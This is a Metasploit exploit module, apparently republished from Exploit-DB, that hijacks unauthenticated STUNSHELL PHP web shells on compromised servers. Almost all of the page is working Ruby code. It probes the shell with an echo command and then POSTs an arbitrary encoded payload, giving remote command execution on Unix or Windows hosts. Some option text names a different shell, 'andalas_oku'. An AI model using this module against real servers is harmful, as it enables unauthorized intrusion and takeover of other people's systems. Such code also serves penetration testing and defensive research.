STUNSHELL (Web Shell) – Remote Code Execution (Metasploit)

• Exploit Database
• 30 阅读

• 作者： Metasploit
  日期： 2013-03-29
• 类别：

  • remote
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/24903/

• ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # web site for more information on licensing and terms of use.
  # http://metasploit.com/
  ##
  
  require 'msf/core'
  
  class Metasploit3 < Msf::Exploit::Remote
  Rank = GreatRanking
  
  include Msf::Exploit::Remote::HttpClient
  
  def initialize(info={})
  super(update_info(info,
  'Name' => 'STUNSHELL Web Shell Remote Code Execution',
  'Description'=> %q{
  This module exploits unauthenticated versions of the "STUNSHELL" web shell.
  This module works when safe mode is disabled on the web server.This shell is
  widely used in automated RFI payloads.
  },
  'License'=> MSF_LICENSE,
  'Author' =>
  [
  'bwall <bwall[at]openbwall.com>' # vuln discovery & msf module
  ],
  'References' =>
  [
  ['URL', 'https://defense.ballastsecurity.net/wiki/index.php/STUNSHELL'],
  ['URL', 'https://defense.ballastsecurity.net/decoding/index.php?hash=a4cd8ba05eb6ba7fb86dd66bed968007']
  ],
  'Privileged' => false,
  'Payload'=>
  {
  'Space'=> 10000, # Value determined by web server's POST limits
  'BadChars' => '',
  'DisableNops' => true,
  'Compat'=>
  {
  'PayloadType' => 'cmd'
  }
  },
  'Platform' => ['unix', 'win'],
  'Arch' => ARCH_CMD,
  'Targets'=>
  [
  ['stunshell / Unix', { 'Platform' => 'unix' } ],
  ['stunshell / Windows', { 'Platform' => 'win' } ]
  ],
  'DisclosureDate' => 'Mar 23 2013',
  'DefaultTarget'=> 0))
  
  register_options(
  [
  OptString.new('TARGETURI',[true, "The path to the andalas_oku shell", "/IDC.php"]),
  ],self.class)
  end
  
  def check
  uri = normalize_uri(target_uri.path.to_s)
  request_parameters = {
  'method'=> 'POST',
  'uri'=> uri,
  'vars_post'=>
  {
  'cmd' => "echo 'andalas_oku test parameter'"
  }
  }
  shell = send_request_cgi(request_parameters)
  if (shell and shell.body =~ /andalas_oku test parameter/)
  return Exploit::CheckCode::Vulnerable
  end
  return Exploit::CheckCode::Safe
  end
  
  def http_send_command(cmd)
  uri = normalize_uri(target_uri.path.to_s)
  request_parameters = {
  'method'=> 'POST',
  'uri'=> uri,
  'vars_post'=>
  {
  'cmd' => cmd
  }
  }
  res = send_request_cgi(request_parameters)
  if not (res and res.code == 200)
  fail_with(Exploit::Failure::Unknown, 'Failed to execute the command.')
  end
  end
  
  def exploit
  http_send_command(payload.encoded)
  end
  end